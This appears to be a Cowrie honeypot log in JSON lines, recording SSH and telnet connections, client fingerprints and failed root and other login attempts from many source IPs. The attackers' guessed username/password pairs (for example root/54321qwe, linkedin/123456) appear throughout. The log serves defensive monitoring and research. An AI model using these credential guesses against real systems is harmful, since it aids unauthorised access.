{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:39.189453Z","src_ip":"80.66.85.226","session":"3607dcf6bb87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s1s2s3s4s5","message":"login attempt [root/s1s2s3s4s5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:39.455463Z","src_ip":"80.66.85.226","session":"3607dcf6bb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:39.678483Z","src_ip":"209.227.244.120","session":"aab09cc67b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:34:40.545439Z","src_ip":"80.66.85.226","session":"3607dcf6bb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":47826,"dst_ip":"159.203.135.109","dst_port":22,"session":"4809cb1895b9","protocol":"ssh","message":"New connection: 176.32.39.21:47826 (159.203.135.109:22) [session: 4809cb1895b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:06.121472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:06.126013Z","src_ip":"176.32.39.21","session":"4809cb1895b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:06.255941Z","src_ip":"176.32.39.21","session":"4809cb1895b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54321qwe","message":"login attempt [root/54321qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:06.642414Z","src_ip":"176.32.39.21","session":"4809cb1895b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:07.773283Z","src_ip":"176.32.39.21","session":"4809cb1895b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":41206,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e22758bb237","protocol":"ssh","message":"New connection: 103.27.238.114:41206 (10.17.0.5:22) [session: 3e22758bb237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:19.886768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:19.890635Z","src_ip":"103.27.238.114","session":"3e22758bb237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:20.161089Z","src_ip":"103.27.238.114","session":"3e22758bb237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sundance","message":"login attempt [root/sundance] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:20.973051Z","src_ip":"103.27.238.114","session":"3e22758bb237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:22.245079Z","src_ip":"103.27.238.114","session":"3e22758bb237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55472,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9d088cbd67","protocol":"telnet","message":"New connection: 128.199.8.54:55472 (159.203.135.109:23) [session: 7e9d088cbd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:24.454706Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":54652,"dst_ip":"10.17.0.5","dst_port":22,"session":"0adeb596e92b","protocol":"ssh","message":"New connection: 103.149.28.157:54652 (10.17.0.5:22) [session: 0adeb596e92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:48.095963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:48.100691Z","src_ip":"103.149.28.157","session":"0adeb596e92b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:48.346700Z","src_ip":"103.149.28.157","session":"0adeb596e92b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5678","message":"login attempt [root/5678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:49.084782Z","src_ip":"103.149.28.157","session":"0adeb596e92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:50.334242Z","src_ip":"103.149.28.157","session":"0adeb596e92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":41506,"dst_ip":"10.17.0.5","dst_port":22,"session":"a568b656a5b4","protocol":"ssh","message":"New connection: 34.100.248.63:41506 (10.17.0.5:22) [session: a568b656a5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:52.521235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:52.537385Z","src_ip":"34.100.248.63","session":"a568b656a5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:52.785893Z","src_ip":"34.100.248.63","session":"a568b656a5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rejestracja","password":"123456","message":"login attempt [rejestracja/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:53.791066Z","src_ip":"34.100.248.63","session":"a568b656a5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:35:55.044255Z","src_ip":"34.100.248.63","session":"a568b656a5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":42938,"dst_ip":"159.203.135.109","dst_port":22,"session":"28f2637ef1b4","protocol":"ssh","message":"New connection: 209.227.244.120:42938 (159.203.135.109:22) [session: 28f2637ef1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:01.870515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:01.875572Z","src_ip":"209.227.244.120","session":"28f2637ef1b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:01.965479Z","src_ip":"209.227.244.120","session":"28f2637ef1b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linkedin","password":"123456","message":"login attempt [linkedin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:02.356955Z","src_ip":"209.227.244.120","session":"28f2637ef1b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:03.451586Z","src_ip":"209.227.244.120","session":"28f2637ef1b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.069310665130615,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:20.523864Z","src_ip":"128.199.8.54","session":"7e9d088cbd67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53326,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ae54f49a0e2","protocol":"ssh","message":"New connection: 62.133.62.83:53326 (159.203.135.109:22) [session: 2ae54f49a0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:32.209424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:32.215031Z","src_ip":"62.133.62.83","session":"2ae54f49a0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:32.295428Z","src_ip":"62.133.62.83","session":"2ae54f49a0e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evro2012","message":"login attempt [root/evro2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:32.537291Z","src_ip":"62.133.62.83","session":"2ae54f49a0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:36:33.620736Z","src_ip":"62.133.62.83","session":"2ae54f49a0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.87.158.103","src_port":13986,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9c60ce5f4a9","protocol":"telnet","message":"New connection: 120.87.158.103:13986 (10.17.0.5:23) [session: b9c60ce5f4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:12.820250Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50966,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e5b2ec9902e","protocol":"ssh","message":"New connection: 147.45.211.215:50966 (159.203.135.109:22) [session: 0e5b2ec9902e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:14.532014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:14.535726Z","src_ip":"147.45.211.215","session":"0e5b2ec9902e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:14.710484Z","src_ip":"147.45.211.215","session":"0e5b2ec9902e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"48151623421","message":"login attempt [root/48151623421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:15.240125Z","src_ip":"147.45.211.215","session":"0e5b2ec9902e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:16.417217Z","src_ip":"147.45.211.215","session":"0e5b2ec9902e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38634,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6ac1385ec23","protocol":"ssh","message":"New connection: 194.113.233.25:38634 (10.17.0.5:22) [session: f6ac1385ec23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:20.330415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:37:20.334446Z","src_ip":"194.113.233.25","session":"f6ac1385ec23","protocol":"ssh"}
